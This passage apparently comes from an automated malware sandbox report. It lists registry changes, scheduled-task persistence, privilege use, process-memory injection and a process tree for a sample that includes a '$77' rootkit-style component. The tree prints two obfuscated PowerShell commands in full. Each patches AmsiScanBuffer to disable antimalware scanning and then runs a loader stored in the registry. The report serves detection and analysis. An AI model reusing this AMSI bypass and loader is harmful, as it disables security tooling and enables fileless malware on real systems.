Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	oyliyr.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	oyliyr.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	$77SVC~1.EXE
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	InstallUtil.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	InstallUtil.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	kfdtjl.cmd.Jla
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	oyliyr.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	adns.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	xbjgpq.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3840	schtasks.exe
4720	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3060	b770d62550d8ff48c7fd45dd04d790f2.exe
3060	b770d62550d8ff48c7fd45dd04d790f2.exe
3060	b770d62550d8ff48c7fd45dd04d790f2.exe
432	powershell.exe
432	powershell.exe
5072	InstallUtil.exe
1076	powershell.EXE
1076	powershell.EXE
1076	powershell.EXE
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
5072	InstallUtil.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
3932	adns.exe
2216	dllhost.exe
2216	dllhost.exe
5072	InstallUtil.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
5072	InstallUtil.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
5072	InstallUtil.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
2216	dllhost.exe
5072	InstallUtil.exe
2216	dllhost.exe
2216	dllhost.exe
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE
1000	$77SVC~1.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3060	b770d62550d8ff48c7fd45dd04d790f2.exe
Token: SeDebugPrivilege	3060	b770d62550d8ff48c7fd45dd04d790f2.exe
Token: SeDebugPrivilege	3932	adns.exe
Token: SeDebugPrivilege	5072	InstallUtil.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	1076	powershell.EXE
Token: SeDebugPrivilege	1076	powershell.EXE
Token: SeDebugPrivilege	2216	dllhost.exe
Token: SeDebugPrivilege	3932	adns.exe
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	316	dwm.exe
Token: SeCreatePagefilePrivilege	316	dwm.exe
Token: SeDebugPrivilege	1000	$77SVC~1.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeShutdownPrivilege	3496	Explorer.EXE
Token: SeCreatePagefilePrivilege	3496	Explorer.EXE
Token: SeDebugPrivilege	1608	InstallUtil.exe
Token: SeAssignPrimaryTokenPrivilege	1984	svchost.exe
Token: SeIncreaseQuotaPrivilege	1984	svchost.exe
Token: SeSecurityPrivilege	1984	svchost.exe
Token: SeTakeOwnershipPrivilege	1984	svchost.exe
Token: SeLoadDriverPrivilege	1984	svchost.exe
Token: SeSystemtimePrivilege	1984	svchost.exe
Token: SeBackupPrivilege	1984	svchost.exe
Token: SeRestorePrivilege	1984	svchost.exe
Token: SeShutdownPrivilege	1984	svchost.exe
Token: SeSystemEnvironmentPrivilege	1984	svchost.exe
Token: SeUndockPrivilege	1984	svchost.exe
Token: SeManageVolumePrivilege	1984	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1984	svchost.exe
Token: SeIncreaseQuotaPrivilege	1984	svchost.exe
Token: SeSecurityPrivilege	1984	svchost.exe
Token: SeTakeOwnershipPrivilege	1984	svchost.exe
Token: SeLoadDriverPrivilege	1984	svchost.exe
Token: SeSystemtimePrivilege	1984	svchost.exe
Token: SeBackupPrivilege	1984	svchost.exe
Token: SeRestorePrivilege	1984	svchost.exe
Token: SeShutdownPrivilege	1984	svchost.exe
Token: SeSystemEnvironmentPrivilege	1984	svchost.exe
Token: SeUndockPrivilege	1984	svchost.exe
Token: SeManageVolumePrivilege	1984	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1984	svchost.exe
Token: SeIncreaseQuotaPrivilege	1984	svchost.exe
Token: SeSecurityPrivilege	1984	svchost.exe
Token: SeTakeOwnershipPrivilege	1984	svchost.exe
Token: SeLoadDriverPrivilege	1984	svchost.exe
Token: SeSystemtimePrivilege	1984	svchost.exe
Token: SeBackupPrivilege	1984	svchost.exe
Token: SeRestorePrivilege	1984	svchost.exe
Token: SeShutdownPrivilege	1984	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4924	Conhost.exe
6048	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 1560	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	87
PID 3060 wrote to memory of 1560	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	87
PID 3060 wrote to memory of 1560	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	87
PID 1560 wrote to memory of 4392	1560	cmd.exe	89
PID 1560 wrote to memory of 4392	1560	cmd.exe	89
PID 1560 wrote to memory of 4392	1560	cmd.exe	89
PID 3060 wrote to memory of 3932	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	90
PID 3060 wrote to memory of 3932	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	90
PID 3060 wrote to memory of 3932	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	90
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 3060 wrote to memory of 4972	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	93
PID 3060 wrote to memory of 4972	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	93
PID 3060 wrote to memory of 4972	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	93
PID 4972 wrote to memory of 4008	4972	cmd.exe	95
PID 4972 wrote to memory of 4008	4972	cmd.exe	95
PID 4972 wrote to memory of 4008	4972	cmd.exe	95
PID 3932 wrote to memory of 4364	3932	adns.exe	96
PID 3932 wrote to memory of 4364	3932	adns.exe	96
PID 3932 wrote to memory of 4364	3932	adns.exe	96
PID 4364 wrote to memory of 3744	4364	cmd.exe	98
PID 4364 wrote to memory of 3744	4364	cmd.exe	98
PID 4364 wrote to memory of 3744	4364	cmd.exe	98
PID 5072 wrote to memory of 448	5072	InstallUtil.exe	99
PID 5072 wrote to memory of 448	5072	InstallUtil.exe	99
PID 5072 wrote to memory of 448	5072	InstallUtil.exe	99
PID 448 wrote to memory of 432	448	cmd.exe	101
PID 448 wrote to memory of 432	448	cmd.exe	101
PID 448 wrote to memory of 432	448	cmd.exe	101
PID 432 wrote to memory of 4696	432	powershell.exe	103
PID 432 wrote to memory of 4696	432	powershell.exe	103
PID 432 wrote to memory of 4696	432	powershell.exe	103
PID 4696 wrote to memory of 3896	4696	oyliyr.exe	104
PID 4696 wrote to memory of 3896	4696	oyliyr.exe	104
PID 4696 wrote to memory of 3896	4696	oyliyr.exe	104
PID 3896 wrote to memory of 760	3896	oyliyr.exe	105
PID 3896 wrote to memory of 760	3896	oyliyr.exe	105
PID 3896 wrote to memory of 760	3896	oyliyr.exe	105
PID 3896 wrote to memory of 4020	3896	oyliyr.exe	106
PID 3896 wrote to memory of 4020	3896	oyliyr.exe	106
PID 3896 wrote to memory of 4020	3896	oyliyr.exe	106
PID 4020 wrote to memory of 1000	4020	svchost.com	107
PID 4020 wrote to memory of 1000	4020	svchost.com	107
PID 4020 wrote to memory of 1000	4020	svchost.com	107
PID 1076 wrote to memory of 2216	1076	powershell.EXE	110
PID 1076 wrote to memory of 2216	1076	powershell.EXE	110
PID 1076 wrote to memory of 2216	1076	powershell.EXE	110
PID 1076 wrote to memory of 2216	1076	powershell.EXE	110
PID 1076 wrote to memory of 2216	1076	powershell.EXE	110
PID 1076 wrote to memory of 2216	1076	powershell.EXE	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2736	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d980ab12-c488-4846-ae16-e7ef7baa3b89}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2216
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ffbc37e7-f425-41fe-9502-61ef39b1c52b}
  2⤵
  PID:2148

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1144
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WzkMkMQRaxyG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FrSdIMTORhQPCI,[Parameter(Position=1)][Type]$UFVeeUfdAc)$vdpTxmRdqyR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'l'+[Char](101)+'c'+[Char](116)+''+'e'+''+[Char](100)+''+'D'+'e'+'l'+''+'e'+''+[Char](103)+'a'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+'o'+[Char](114)+'yM'+[Char](111)+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+''+[Char](101)+''+[Char](84)+'yp'+'e'+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$vdpTxmRdqyR.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+'i'+''+'a'+''+'l'+''+'N'+''+'a'+''+'m'+''+'e'+','+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$FrSdIMTORhQPCI).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'n'+[Char](97)+'g'+[Char](101)+'d');$vdpTxmRdqyR.DefineMethod(''+[Char](73)+''+'n'+'v'+'o'+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+'o'+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$UFVeeUfdAc,$FrSdIMTORhQPCI).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $vdpTxmRdqyR.CreateType();}$XcxOepNjQNlag=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+'ic'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+'2'+''+'.'+'Un'+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+'v'+''+[Char](101)+''+[Char](77)+'et'+[Char](104)+'o'+[Char](100)+''+'s'+'');$BCkhktcTmuwWVj=$XcxOepNjQNlag.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+'o'+''+[Char](99)+''+[Char](65)+''+'d'+''+[Char](100)+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+'a'+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$OnzzmkPcfRKKUEAhcao=WzkMkMQRaxyG @([String])([IntPtr]);$FypLxwQYzxgNJZVOjtVHPr=WzkMkMQRaxyG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$wyOunVYAWZk=$XcxOepNjQNlag.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$aVJUiBqcJINvRS=$BCkhktcTmuwWVj.Invoke($Null,@([Object]$wyOunVYAWZk,[Object](''+'L'+''+'o'+''+'a'+''+[Char](100)+''+'L'+'i'+'b'+''+'r'+''+[Char](97)+'ry'+[Char](65)+'')));$UOkUGjmnVvxTTyjIu=$BCkhktcTmuwWVj.Invoke($Null,@([Object]$wyOunVYAWZk,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+'al'+'P'+''+'r'+''+'o'+'tect')));$cceEDqg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aVJUiBqcJINvRS,$OnzzmkPcfRKKUEAhcao).Invoke(''+'a'+''+'m'+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'');$NdjZfPwMuuVTlPcdC=$BCkhktcTmuwWVj.Invoke($Null,@([Object]$cceEDqg,[Object](''+'A'+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+'n'+'B'+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+'r'+'')));$BqrraNuGbu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UOkUGjmnVvxTTyjIu,$FypLxwQYzxgNJZVOjtVHPr).Invoke($NdjZfPwMuuVTlPcdC,[uint32]8,4,[ref]$BqrraNuGbu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NdjZfPwMuuVTlPcdC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UOkUGjmnVvxTTyjIu,$FypLxwQYzxgNJZVOjtVHPr).Invoke($NdjZfPwMuuVTlPcdC,[uint32]8,0x20,[ref]$BqrraNuGbu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'FTW'+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+'s'+''+'t'+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:afKvxZhzTNxk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hssryJeQIPcRkg,[Parameter(Position=1)][Type]$lNLgtVPbKf)$FPTnTnGcAwG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Ref'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+'e'+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+'e'+[Char](109)+''+[Char](111)+''+'r'+'y'+[Char](77)+'od'+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+'e'+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e'+'T'+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+'l'+''+'a'+'s'+'s'+''+[Char](44)+''+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+'c'+[Char](44)+'S'+[Char](101)+''+'a'+''+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s,'+'A'+''+'u'+''+'t'+''+'o'+'C'+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$FPTnTnGcAwG.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+''+'a'+'m'+[Char](101)+''+','+''+'H'+''+'i'+'d'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+'i'+[Char](103)+',P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$hssryJeQIPcRkg).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$FPTnTnGcAwG.DefineMethod(''+'I'+''+'n'+''+'v'+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+'ig,N'+'e'+''+'w'+'S'+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'r'+'t'+''+'u'+''+[Char](97)+''+'l'+'',$lNLgtVPbKf,$hssryJeQIPcRkg).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e,'+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $FPTnTnGcAwG.CreateType();}$XblqwIGiuVVfw=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'c'+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+'t'+''+'.'+''+'W'+'i'+[Char](110)+''+[Char](51)+'2'+'.'+'U'+[Char](110)+''+'s'+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'iv'+[Char](101)+''+'M'+''+[Char](101)+'t'+'h'+'od'+[Char](115)+'');$dzfWeexibsFhGR=$XblqwIGiuVVfw.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+''+'r'+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+'c'+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$frgsdWlIaYCbysjUakp=afKvxZhzTNxk @([String])([IntPtr]);$XWKpWmnSEAfbFeUXcZxgNq=afKvxZhzTNxk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NYaYgsLgsfi=$XblqwIGiuVVfw.GetMethod('Get'+'M'+'odul'+'e'+'H'+[Char](97)+'nd'+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$vWmQUAOBfAyDie=$dzfWeexibsFhGR.Invoke($Null,@([Object]$NYaYgsLgsfi,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+'r'+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$ClhbPOXSLwsjTGlYm=$dzfWeexibsFhGR.Invoke($Null,@([Object]$NYaYgsLgsfi,[Object]('V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'P'+'r'+'o'+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$zkrZQkR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vWmQUAOBfAyDie,$frgsdWlIaYCbysjUakp).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$aWauieEdEPiqsXrNh=$dzfWeexibsFhGR.Invoke($Null,@([Object]$zkrZQkR,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+'f'+[Char](101)+''+'r'+'')));$lgsdjPQtHg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ClhbPOXSLwsjTGlYm,$XWKpWmnSEAfbFeUXcZxgNq).Invoke($aWauieEdEPiqsXrNh,[uint32]8,4,[ref]$lgsdjPQtHg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aWauieEdEPiqsXrNh,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ClhbPOXSLwsjTGlYm,$XWKpWmnSEAfbFeUXcZxgNq).Invoke($aWauieEdEPiqsXrNh,[uint32]8,0x20,[ref]$lgsdjPQtHg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('$'+[Char](55)+''+[Char](55)+''+'s'+'tag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:5148
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of SetWindowsHookEx
